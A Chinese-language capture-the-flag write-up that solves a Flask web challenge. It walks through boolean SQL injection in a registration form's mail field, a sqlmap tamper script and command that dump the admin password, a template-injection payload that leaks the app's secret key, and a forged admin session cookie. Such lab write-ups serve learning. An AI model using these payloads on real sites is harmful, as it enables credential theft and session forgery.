打开页面,还是登录注册,随便注册一个账号,并扫描一下路径。登录之后发现所有信息都放在这里:

image-20240925165730881

考虑一下有没有注入,发现username和mail都没有,抓包cookie里发现jwt:image-20240925170029704

==》

image-20240925170128637

jwt.io 中生成的 JWT 使用的是特定的算法(如 HMAC SHA256),并且可以设置特定的密钥和有效载荷。Flask 的 session 默认使用 Flask 内部的签名机制,可能不会以 JWT 格式生成,具体实现可能与 JWT 的结构和内容不同。因此直接使用 jwt.io一般无法直接生成session

源码也没有发现东西,路径扫描得到/flag路径,访问:

if session[‘isadmin’]: return flag

需要session设置isadmin,那现在需要找到secretkey,因为是flask,应该要通过ssti找config,但是username和mail也不能ssti,测试一下注册页面有无注入,发现注册页面的mail可以sql:

image-20240926150529877

因为没有回显位置,只能试试bool注入:

image-20240926160826045

使用payload

water3@666.com' AND 'c'>'b' AND 'ckJV'='ckJV

此时返回已经注册:

image-20240926165652896

使用payload

water3@666.com' AND 'a'>'b' AND 'ckJV'='ckJV

返回注册成功:image-20240926165804748

后台逻辑应该是判断数据库中是否有相同的名字或者邮件,如果有(true)则返回已经注册,否则可以进入一下步判定,因此每次发包使用固定的mail+payload,然后使用不同的username,这里需要写一个tamper使用sqlmap:

tamper.py(参照官方wp,由于新版本不支持urllib.quote(),需要从urllib.parse导入:

import re
import string
import random
from urllib.parse import quote
from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    headers = kwargs.get("headers",{})
    headers["Content-type"] = "application/x-www-form-urlencoded"
    ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 12))
    raw_data = "username={}&passwd=aiyo&mail="
    new_payload = quote('aiyo@qq.com'+payload)
    return raw_data.format(ran_str) + new_payload

在 sqlmap 的 tamper 脚本目录中需要有一个空的 __init__.py 文件以便 Python 将该目录识别为一个包,从而允许从该目录导入脚本。然后就可以使用sqlmap了:

 sqlmap -r target.txt --tamper ~/work/sqlmap/tamper.py --technique=B --skip-urlencode --string 'Already Registered' -D SQLite -T users -C username --dump --proxy="http://127.0.0.1:8080"

这里,代理到bp以便学习一下payload,他这里用'ckJV'='ckJV作为结尾闭合自动添加在末尾的',学到了。

--string指定代表注入成功的字符串,在tamper中我们已经编码了payload防止sqlmap双重编码,因此--skip-urlencode

最后注入的到用户名admin和密码h4ck4fun

image-20240926173424634

此时发现多了一个邮箱修改功能:

image-20240927104659788

由于邮箱会显示在主页,我们考虑应该在这里有ssti:{2*3}

image-20240927105125365

ssti学完之后手工做的不多,这里忘得差不多了,想不起来怎么找继承链(本来也不太会),这里使用{user.__class__.__init__.__globals__[current_app].config}

image-20240927105738898

得到secret key:d327b7e36b7845956bf8db4de198437a

此时借助工具GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder可以制作一个cookie-session去访问/flag:

./flask_session_cookie_manager3.py encode -s '{secret_key}' -t "{'isadmin': 1, 'user': (1, 'admin', 'water3@666.com')}"

使用生成的cookie访问即可